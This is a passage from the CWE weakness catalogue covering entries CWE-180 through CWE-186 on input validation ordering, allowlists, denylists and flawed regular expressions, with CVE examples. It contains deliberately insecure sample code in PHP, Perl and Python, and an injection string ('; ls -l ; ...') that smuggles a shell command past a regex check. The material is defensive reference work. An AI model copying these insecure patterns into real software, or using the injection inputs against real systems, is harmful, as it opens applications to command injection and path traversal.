The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of `"/safe_dir/.."` that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonized the path would become just `"/"`.

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

Example Language: Java

(Good)

```
String path = getInputPath();
File f = new File(path);
if (f.getCanonicalPath().startsWith("/safe_dir/"))
{
    return f.getCanonicalPath();
}
```

## Observed Examples

Reference	Description
<b>CVE-2002-0433</b>	Product allows remote attackers to view restricted files via an HTTP request containing a "*" (wildcard or asterisk) character. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0433">https://www.cve.org/CVERecord?id=CVE-2002-0433</a>
<b>CVE-2003-0332</b>	Product modifies the first two letters of a filename extension after performing a security check, which allows remote attackers to bypass authentication via a filename with a .ats extension instead of a .hts extension. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0332">https://www.cve.org/CVERecord?id=CVE-2003-0332</a>
<b>CVE-2002-0802</b>	Database consumes an extra character when processing a character that cannot be converted, which could remove an escape character from the query and make the application subject to SQL injection attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0802">https://www.cve.org/CVERecord?id=CVE-2002-0802</a>
<b>CVE-2000-0191</b>	Overlaps "fakechild/./realchild" <a href="https://www.cve.org/CVERecord?id=CVE-2000-0191">https://www.cve.org/CVERecord?id=CVE-2000-0191</a>
<b>CVE-2004-2363</b>	Product checks URI for "<" and other literal characters, but does it before hex decoding the URI, so "%3E" and other sequences are allowed. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2363">https://www.cve.org/CVERecord?id=CVE-2004-2363</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	2155
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	2209
MemberOf	C	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1133	2237
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2244

## Notes

### Relationship

This overlaps other categories.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Validate-Before-Canonicalize
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
The CERT Oracle Secure Coding Standard for Java (2011)	IDS01-J	Exact	Normalize strings before validating them
SEI CERT Oracle Coding Standard for Java	IDS01-J	Exact	Normalize strings before validating them

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
71	Using Unicode Encoding to Bypass Validation Logic
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
267	Leverage Alternate Encoding

## CWE-181: Incorrect Behavior Order: Validate Before Filter

**Weakness ID :** 181

**Structure :** Simple

**Abstraction :** Variant

### Description

The product validates data before it has been filtered, which prevents the product from detecting data that becomes invalid after the filtering step.

### Extended Description

This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.



*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		179	Incorrect Behavior Order: Early Validation	430

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Alternate Terms

**Validate-before-cleanse** :

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

**Phase: Implementation**

**Phase: Architecture and Design**

Inputs should be decoded and canonicalized to the application's current internal representation before being filtered.

### Demonstrative Examples

#### Example 1:

This script creates a subdirectory within a user directory and sets the user as the owner.

*Example Language: PHP*

*(Bad)*

```
function createDir($userName,$dirName){
    $userDir = '/users/'. $userName;
    if(strpos($dirName,'..') !== false){
        echo 'Directory name contains invalid sequence';
        return;
    }
    //filter out '~' because other scripts identify user directories by this prefix
    $dirName = str_replace('~','',$dirName);
    $newDir = $userDir . $dirName;
    mkdir($newDir, 0700);
    chown($newDir,$userName);
}
```

While the script attempts to screen for '..' sequences, an attacker can submit a directory path including "~.", which will then become ".." after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.

### Observed Examples

Reference	Description
<b>CVE-2002-0934</b>	Directory traversal vulnerability allows remote attackers to read or modify arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0934">https://www.cve.org/CVERecord?id=CVE-2002-0934</a>
<b>CVE-2003-0282</b>	Directory traversal vulnerability allows attackers to overwrite arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0282">https://www.cve.org/CVERecord?id=CVE-2003-0282</a>

### Functional Areas

- Protection Mechanism

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf		992	SFP Secondary Cluster: Faulty Input Transformation	888	2209

## Notes

### Research Gap

This category is probably under-studied.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Validate-Before-Filter
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
43	Exploiting Multiple Input Interpretation Layers
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
120	Double Encoding
267	Leverage Alternate Encoding

## CWE-182: Collapse of Data into Unsafe Value

**Weakness ID** : 182

**Structure** : Simple

**Abstraction** : Base

## Description

The product filters data in a way that causes it to be reduced or "collapsed" into an unsafe value that violates an expected security property.


## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		693	Protection Mechanism Failure	1422
CanFollow		185	Incorrect Regular Expression	444
CanPrecede		33	Path Traversal: '....' (Multiple Dot)	66
CanPrecede		34	Path Traversal: '.../'	68
CanPrecede		35	Path Traversal: '.../.../'	70

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		19	Data Processing Errors	2101

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Input Validation*

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Canonicalize the name to match that of the file system's representation of the name. This can sometimes be achieved with an available API (e.g. in Win32 the GetFullPathName function).

### Observed Examples

Reference	Description
<b>CVE-2004-0815</b>	"/./" in pathname collapses to absolute path. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0815">https://www.cve.org/CVERecord?id=CVE-2004-0815</a>
<b>CVE-2005-3123</b>	"/././././././" is collapsed into "/./" after "." and "/" sequences are removed. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3123">https://www.cve.org/CVERecord?id=CVE-2005-3123</a>
<b>CVE-2002-0325</b>	"..././" collapsed to "..." due to removal of "/." in web server. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0325">https://www.cve.org/CVERecord?id=CVE-2002-0325</a>
<b>CVE-2002-0784</b>	chain: HTTP server protects against "." but allows "." variants such as "////./././". If the server removes "/." sequences, the result would collapse into an unsafe value "////./" (CWE-182). <a href="https://www.cve.org/CVERecord?id=CVE-2002-0784">https://www.cve.org/CVERecord?id=CVE-2002-0784</a>

Reference	Description
<b>CVE-2005-2169</b>	MFV. Regular expression intended to protect against directory traversal reduces ".../.../" to "../". <a href="https://www.cve.org/CVERecord?id=CVE-2005-2169">https://www.cve.org/CVERecord?id=CVE-2005-2169</a>
<b>CVE-2001-1157</b>	XSS protection mechanism strips a <script> sequence that is nested in another <script> sequence. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1157">https://www.cve.org/CVERecord?id=CVE-2001-1157</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf	<b>C</b>	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	2155
MemberOf	<b>C</b>	992	SFP Secondary Cluster: Faulty Input Transformation	888	2209
MemberOf	<b>C</b>	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1133	2237

### Notes

#### Relationship

Overlaps regular expressions, although an implementation might not necessarily use regexp's.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Collapse of Data into Unsafe Value
The CERT Oracle Secure Coding Standard for Java (2011)	IDS11-J		Eliminate noncharacter code points before validation

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-183: Permissive List of Allowed Inputs

**Weakness ID** : 183  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1428
ParentOf	V	942	Permissive Cross-domain Policy with Untrusted Domains	1717
PeerOf	E	625	Permissive Regular Expression	1309
PeerOf	E	627	Dynamic Variable Evaluation	1314
CanPrecede	E	434	Unrestricted Upload of File with Dangerous Type	991

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1215	Data Validation Issues	2271

**Weakness Ordinalities****Primary :****Applicable Platforms****Language :** Not Language-Specific (*Prevalence = Undetermined*)**Alternate Terms**

**Allowlist / Allow List :** This is used by CWE and CAPEC instead of other commonly-used terms. Its counterpart is denylist.

**Safelist / Safe List :** This is often used by security tools such as firewalls, email or web gateways, proxies, etc.

**Whitelist / White List :** This term is frequently used, but usage has been declining as organizations have started to adopt other terms.

**Common Consequences**

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

**Observed Examples**

Reference	Description
<b>CVE-2019-12799</b>	chain: bypass of untrusted deserialization issue (CWE-502) by using an assumed-trusted class (CWE-183) <a href="https://www.cve.org/CVERecord?id=CVE-2019-12799">https://www.cve.org/CVERecord?id=CVE-2019-12799</a>
<b>CVE-2019-10458</b>	sandbox bypass using a method that is on an allowlist <a href="https://www.cve.org/CVERecord?id=CVE-2019-10458">https://www.cve.org/CVERecord?id=CVE-2019-10458</a>
<b>CVE-2017-1000095</b>	sandbox bypass using unsafe methods that are on an allowlist <a href="https://www.cve.org/CVERecord?id=CVE-2017-1000095">https://www.cve.org/CVERecord?id=CVE-2017-1000095</a>
<b>CVE-2019-10458</b>	CI/CD pipeline feature has unsafe elements in allowlist, allowing bypass of script restrictions <a href="https://www.cve.org/CVERecord?id=CVE-2019-10458">https://www.cve.org/CVERecord?id=CVE-2019-10458</a>
<b>CVE-2017-1000095</b>	Default allowlist includes unsafe methods, allowing bypass of sandbox <a href="https://www.cve.org/CVERecord?id=CVE-2017-1000095">https://www.cve.org/CVERecord?id=CVE-2017-1000095</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

Nature	Type	ID	Name	V	Page
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design		2284

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Permissive Whitelist

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
43	Exploiting Multiple Input Interpretation Layers
71	Using Unicode Encoding to Bypass Validation Logic
120	Double Encoding

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-184: Incomplete List of Disallowed Inputs

**Weakness ID** : 184

**Structure** : Simple

**Abstraction** : Base

### Description

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete, leading to resultant weaknesses.

### Extended Description

Developers often try to protect their products against malicious input by performing tests against inputs that are known to be bad, such as special characters that can invoke new commands. However, such lists often only account for the most well-known bad inputs. Attackers may be able to find other malicious inputs that were not expected by the developer, allowing them to bypass the intended protection mechanism.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	1023	Incomplete Comparison with Missing Factors	1731
ChildOf	P	693	Protection Mechanism Failure	1422
PeerOf	V	86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages	185
PeerOf	B	625	Permissive Regular Expression	1309
CanPrecede	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	147
CanPrecede	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159



Nature	Type	ID	Name	Page
CanPrecede	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	229
CanPrecede	B	434	Unrestricted Upload of File with Dangerous Type	991

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1215	Data Validation Issues	2271

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Alternate Terms

**Denylist / Deny List :** This is used by CWE and CAPEC instead of other commonly-used terms. Its counterpart is allowlist.

**Blocklist / Block List :** This is often used by security tools such as firewalls, email or web gateways, proxies, etc.

**Blacklist / Black List :** This term is frequently used, but usage has been declining as organizations have started to adopt other terms.

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

## Detection Methods

### Black Box

Exploitation of a vulnerability with commonly-used manipulations might fail, but minor variations might succeed.

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

## Demonstrative Examples

### Example 1:

The following code attempts to stop XSS attacks by removing all occurrences of "script" in an input string.

*Example Language: Java*

*(Bad)*

```
public String removeScriptTags(String input, String mask) {
    return input.replaceAll("script", mask);
}
```



Because the code only checks for the lower-case "script" string, it can be easily defeated with upper-case script tags.

### Observed Examples

Reference	Description
<b>CVE-2008-2309</b>	product uses a denylist to identify potentially dangerous content, allowing attacker to bypass a warning <a href="https://www.cve.org/CVERecord?id=CVE-2008-2309">https://www.cve.org/CVERecord?id=CVE-2008-2309</a>
<b>CVE-2005-2782</b>	PHP remote file inclusion in web application that filters "http" and "https" URLs, but not "ftp". <a href="https://www.cve.org/CVERecord?id=CVE-2005-2782">https://www.cve.org/CVERecord?id=CVE-2005-2782</a>
<b>CVE-2004-0542</b>	Programming language does not filter certain shell metacharacters in Windows environment. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0542">https://www.cve.org/CVERecord?id=CVE-2004-0542</a>
<b>CVE-2004-0595</b>	XSS filter doesn't filter null characters before looking for dangerous tags, which are ignored by web browsers. MIE and validate-before-cleanse. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0595">https://www.cve.org/CVERecord?id=CVE-2004-0595</a>
<b>CVE-2005-3287</b>	Web-based mail product doesn't restrict dangerous extensions such as ASPX on a web server, even though others are prohibited. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3287">https://www.cve.org/CVERecord?id=CVE-2005-3287</a>
<b>CVE-2004-2351</b>	Resultant XSS when only <script> and <style> are checked. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2351">https://www.cve.org/CVERecord?id=CVE-2004-2351</a>
<b>CVE-2005-2959</b>	Privileged program does not clear sensitive environment variables that are used by bash. Overlaps multiple interpretation error. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2959">https://www.cve.org/CVERecord?id=CVE-2005-2959</a>
<b>CVE-2005-1824</b>	SQL injection protection scheme does not quote the "\" special character. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1824">https://www.cve.org/CVERecord?id=CVE-2005-1824</a>
<b>CVE-2005-2184</b>	Detection of risky filename extensions prevents users from automatically executing .EXE files, but .LNK is accepted, allowing resultant Windows symbolic link. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2184">https://www.cve.org/CVERecord?id=CVE-2005-2184</a>
<b>CVE-2007-1343</b>	Product uses list of protected variables, but accidentally omits one dangerous variable, allowing external modification <a href="https://www.cve.org/CVERecord?id=CVE-2007-1343">https://www.cve.org/CVERecord?id=CVE-2007-1343</a>
<b>CVE-2007-5727</b>	Chain: product only removes SCRIPT tags (CWE-184), enabling XSS (CWE-79) <a href="https://www.cve.org/CVERecord?id=CVE-2007-5727">https://www.cve.org/CVERecord?id=CVE-2007-5727</a>
<b>CVE-2006-4308</b>	Chain: product only checks for use of "javascript:" tag (CWE-184), allowing XSS (CWE-79) using other tags <a href="https://www.cve.org/CVERecord?id=CVE-2006-4308">https://www.cve.org/CVERecord?id=CVE-2006-4308</a>
<b>CVE-2007-3572</b>	Chain: OS command injection (CWE-78) enabled by using an unexpected character that is not explicitly disallowed (CWE-184) <a href="https://www.cve.org/CVERecord?id=CVE-2007-3572">https://www.cve.org/CVERecord?id=CVE-2007-3572</a>
<b>CVE-2002-0661</b>	"\" not in list of disallowed values for web server, allowing path traversal attacks when the server is run on Windows and other OSes. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0661">https://www.cve.org/CVERecord?id=CVE-2002-0661</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf		1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

## Notes

### Relationship

Multiple interpretation errors can indirectly introduce inputs that should be disallowed. For example, a list of dangerous shell metacharacters might not include a metacharacter that only has meaning in one particular shell, not all of them; or a check for XSS manipulations might ignore an unusual construct that is supported by one web browser, but not others.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incomplete Blacklist

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
6	Argument Injection
15	Command Delimiters
43	Exploiting Multiple Input Interpretation Layers
71	Using Unicode Encoding to Bypass Validation Logic
73	User-Controlled Filename
85	AJAX Footprinting
120	Double Encoding
182	Flash Injection

## References

[REF-140]Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". 2004 February 7. Addison-Wesley. < <https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958> >.

[REF-141]Steve Christey. "Blacklist defenses as a breeding ground for vulnerability variants". 2006 February 3. < <http://seclists.org/fulldisclosure/2006/Feb/0040.html> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-185: Incorrect Regular Expression

**Weakness ID** : 185  
**Structure** : Simple  
**Abstraction** : Class

### Description

The product specifies a regular expression in a way that causes data to be improperly matched or compared.

### Extended Description

When the regular expression is used in protection mechanisms such as filtering or validation, this may allow an attacker to bypass the intended restrictions on the incoming data.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1428
ParentOf	ⓑ	186	Overly Restrictive Regular Expression	447
ParentOf	ⓑ	625	Permissive Regular Expression	1309
CanPrecede	ⓑ	182	Collapse of Data into Unsafe Value	437
CanPrecede	ⓧ	187	Partial String Comparison	448

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Unexpected State Varies by Context  <i>When the regular expression is not correctly specified, data might have a different format or type than the rest of the program expects, producing resultant weaknesses or errors.</i>	
Access Control	Bypass Protection Mechanism  <i>In PHP, regular expression checks can sometimes be bypassed with a null byte, leading to any number of weaknesses.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Refactoring*

Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject the regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor the regular expression.

### Demonstrative Examples

#### Example 1:

The following code takes phone numbers as input, and uses a regular expression to reject invalid phone numbers.

*Example Language: Perl*

*(Bad)*

```
$phone = GetPhoneNumber();
if ($phone =~ /\d+-\d+/) {
    # looks like it only has hyphens and digits
    system("lookup-phone $phone");
}
else {
    error("malformed number!");
}
```

An attacker could provide an argument such as: "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.

#### Example 2:

This code uses a regular expression to validate an IP string prior to using it in a call to the "ping" command.

Example Language: Python

(bad)

```
import subprocess
import re
def validate_ip_regex(ip: str):
    ip_validator = re.compile(r"((25[0-5])|(2[0-4][0-9]|1\d{1-3})|0)\.?\b{4}")
    if ip_validator.match(ip):
        return ip
    else:
        raise ValueError("IP address does not match valid pattern.")
def run_ping_regex(ip: str):
    validated = validate_ip_regex(ip)
    # The ping command treats zero-prepended IP addresses as octal
    result = subprocess.call(["ping", validated])
    print(result)
```

Since the regular expression does not have anchors (CWE-777), i.e. is unbounded without `^` or `$` characters, then prepending a 0 or 0x to the beginning of the IP address will still result in a matched regex pattern. Since the ping command supports octal and hex prepended IP addresses, it will use the unexpectedly valid IP address (CWE-1389). For example, "0x63.63.63" would be considered equivalent to "99.63.63.63". As a result, the attacker could potentially ping systems that the attacker cannot reach directly.

### Observed Examples

Reference	Description
<b>CVE-2002-2109</b>	Regex isn't "anchored" to the beginning or end, which allows spoofed values that have trusted values as substrings. <a href="https://www.cve.org/CVERecord?id=CVE-2002-2109">https://www.cve.org/CVERecord?id=CVE-2002-2109</a>
<b>CVE-2005-1949</b>	Regex for IP address isn't anchored at the end, allowing appending of shell metacharacters. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1949">https://www.cve.org/CVERecord?id=CVE-2005-1949</a>
<b>CVE-2001-1072</b>	Bypass access restrictions via multiple leading slash, which causes a regular expression to fail. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1072">https://www.cve.org/CVERecord?id=CVE-2001-1072</a>
<b>CVE-2000-0115</b>	Local user DoS via invalid regular expressions. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0115">https://www.cve.org/CVERecord?id=CVE-2000-0115</a>
<b>CVE-2002-1527</b>	chain: Malformed input generates a regular expression error that leads to information exposure. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1527">https://www.cve.org/CVERecord?id=CVE-2002-1527</a>
<b>CVE-2005-1061</b>	Certain strings are later used in a regexp, leading to a resultant crash. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1061">https://www.cve.org/CVERecord?id=CVE-2005-1061</a>
<b>CVE-2005-2169</b>	MFV. Regular expression intended to protect against directory traversal reduces ".../.../" to "..". <a href="https://www.cve.org/CVERecord?id=CVE-2005-2169">https://www.cve.org/CVERecord?id=CVE-2005-2169</a>
<b>CVE-2005-0603</b>	Malformed regexp syntax leads to information exposure in error message. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0603">https://www.cve.org/CVERecord?id=CVE-2005-0603</a>
<b>CVE-2005-1820</b>	Code injection due to improper quoting of regular expression. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1820">https://www.cve.org/CVERecord?id=CVE-2005-1820</a>
<b>CVE-2005-3153</b>	Null byte bypasses PHP regexp check. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3153">https://www.cve.org/CVERecord?id=CVE-2005-3153</a>
<b>CVE-2005-4155</b>	Null byte bypasses PHP regexp check. <a href="https://www.cve.org/CVERecord?id=CVE-2005-4155">https://www.cve.org/CVERecord?id=CVE-2005-4155</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

## Notes

### Relationship

While there is some overlap with allowlist/denylist problems, this entry is intended to deal with incorrectly written regular expressions, regardless of their intended use. Not every regular expression is intended for use as an allowlist or denylist. In addition, allowlists and denylists can be implemented using other mechanisms besides regular expressions.

### Research Gap

Regex errors are likely a primary factor in many MFVs, especially those that require multiple manipulations to exploit. However, they are rarely diagnosed at this level of detail.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Regular Expression Error

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
6	Argument Injection
15	Command Delimiters
79	Using Slashes in Alternate Encoding

## References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

## CWE-186: Overly Restrictive Regular Expression

**Weakness ID** : 186

**Structure** : Simple

**Abstraction** : Base

### Description

A regular expression is overly restrictive, which prevents dangerous values from being detected.

### Extended Description

This weakness is not about regular expression complexity. Rather, it is about a regular expression that does not match all values that are intended. Consider the use of a regexp to identify acceptable values or to spot unwanted terms. An overly restrictive regexp misses some potentially security-relevant values leading to either false positives \*or\* false negatives, depending on how the regexp is being used within the code. Consider the expression `/[0-8]/` where the intention was `/[0-9]/`. This expression is not "complex" but the value "9" is not matched when maybe the programmer planned to check for it.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*



Nature	Type	ID	Name	Page
ChildOf		185	Incorrect Regular Expression	444
CanAlsoBe		183	Permissive List of Allowed Inputs	439
CanAlsoBe		184	Incomplete List of Disallowed Inputs	441

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		19	Data Processing Errors	2101

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Implementation

